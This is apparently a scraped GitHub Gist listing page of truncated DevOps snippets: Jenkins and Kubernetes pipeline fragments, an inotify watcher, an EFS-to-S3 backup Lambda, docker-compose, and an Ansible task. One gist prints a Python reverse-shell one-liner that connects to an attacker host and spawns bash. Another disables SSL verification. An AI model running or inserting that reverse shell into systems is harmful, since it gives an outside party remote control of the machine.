Skip to content

Instantly share code, notes, and snippets.

podTemplate(
label: 'kubernetes',
containers: [
containerTemplate(name: 'maven', image: 'maven:alpine', ttyEnabled: true, command: 'cat'),
containerTemplate(name: 'golang', image: 'golang:alpine', ttyEnabled: true, command: 'cat')
]
) {
node('kubernetes') {
container('maven') {
stage('build') {
# Generate AWS credentials through https://console.aws.amazon.com/iam/home#/security_credential if you do NOT have them already
export AWS_ACCESS_KEY_ID=[...] # Replace [...] with the AWS Access Key ID
export AWS_SECRET_ACCESS_KEY=[...] # Replace [...] with the AWS Secret Access Key
export AWS_DEFAULT_REGION=us-east-2
# If Windows, use `tr '\r\n' ', '` instead of `tr '\n' ','`
export ZONES=$(aws ec2 describe-availability-zones \
######################
# Create The Cluster #
######################
# Tested with minikube v0.30
minikube start \
--vm-driver virtualbox \
--cpus 2 \
--memory 10240
@atrakic
atrakic / inotifyexec.py
Created December 3, 2018 21:19 — forked from wernight/inotifyexec.py
inotifywait helper that executes a command on file change (for Linux, put it in ~/bin/)
#!/usr/bin/env python
"""Use inotify to watch a directory and execute a command on file change.
Watch for any file change below current directory (using inotify via pyinotify)
and execute the given command on file change.
Just using inotify-tools `while inotifywait -r -e close_write .; do something; done`
has many issues which are fixed by this tools:
* If your editor creates a backup before writing the file, it'll trigger multiple times.
* If your directory structure is deep, it'll have to reinitialize inotify after each change.
@atrakic
atrakic / LambdaEfsBackup.py
Created December 3, 2018 19:18 — forked from eduardcloud/LambdaEfsBackup.py
Backup EFS file-system to S3 with lambda function
import boto3
import time
region = 'eu-west-1'
user_data_script = """#!/bin/bash
instanceid=$(curl http://169.254.169.254/latest/meta-data/instance-id)
cd /
mkdir moodledata
mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2 fs-xxxxxxxxxxc.efs.eu-west-1.amazonaws.com:/ moodledata
tar czf mooodledata-backup-$(date +%d-%m-%Y_%H-%M).tar.gz /moodledata
aws s3 mv mooodledata-backup-*.tar.gz s3://xxxxxxxxx/
@atrakic
atrakic / jenkins-pipeline-git-cred.md
Created November 7, 2018 18:50 — forked from blaisep/jenkins-pipeline-git-cred.md
Insert git credentials into Jenkins Pipeline Script projects

Suppose you want to inject a credential into a Pipeline script. The cloudbees note does not include Pipeline script examples. https://support.cloudbees.com/hc/en-us/articles/203802500-Injecting-Secrets-into-Jenkins-Build-Jobs

The Jenkins Pipeline Docs' description of the git pushmethod doesn't have an example using injected credentials. (https://jenkins.io/doc/pipeline/examples/#push-git-repo)

The Snippet generator is helpful, but not not if you try to follow the instructions at: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Binding+Plugin

@atrakic
atrakic / docker-compose.yml
Created November 7, 2018 15:08 — forked from marcelbirkner/docker-compose.yml
CI Tool Stack Docker Compose
nexus:
build: ./nexus
ports:
- "18081:8081"
jenkins:
build: ./jenkins
ports:
- "18080:8080"
links:
# Generates list of current jenkins jobs.
# pip install --user python-jenkins
python -c "(lambda __y, __print, __g: [[[[[(lambda __after: (main(), __after())[1] if (__name__ == '__main__') else __after())(lambda: None) for __g['main'], main.__name__ in [(lambda : (lambda __l: [[[[[(lambda __items, __sentinel, __after: __y(lambda __this: lambda: (lambda __i: [(__print(__l['d'].get('name')), __this())[1] for __l['d'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(__l['jobs']), [], lambda: None) for __l['jobs'] in [(__l['server'].get_jobs())]][0] for __l['server'] in [(jenkins.Jenkins(__l['args'].server, __l['args'].username, __l['args'].password))]][0] for ssl._create_default_https_context in [(ssl._create_unverified_context)]][0] for __l['context'] in [(ssl._create_unverified_context())]][0] for __l['args'] in [(parser())]][0])({}), 'main')]][0] for __g['parser'], parser.__name__ in [(lambda : (lambda __l: [(__l['parser'].add_argument('--server', default='https://je
@atrakic
atrakic / python-reverse-shell.txt
Created October 17, 2018 11:44 — forked from lucasgates/python-reverse-shell.txt
Python one-liner to create a reverse shell to listening netcat server.
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
---
- hosts: newnode
remote_user: root
become: yes
become_method: sudo
tasks:
- command: bash -c "uname -r | grep ^4."
register: kernelversion
ignore_errors: yes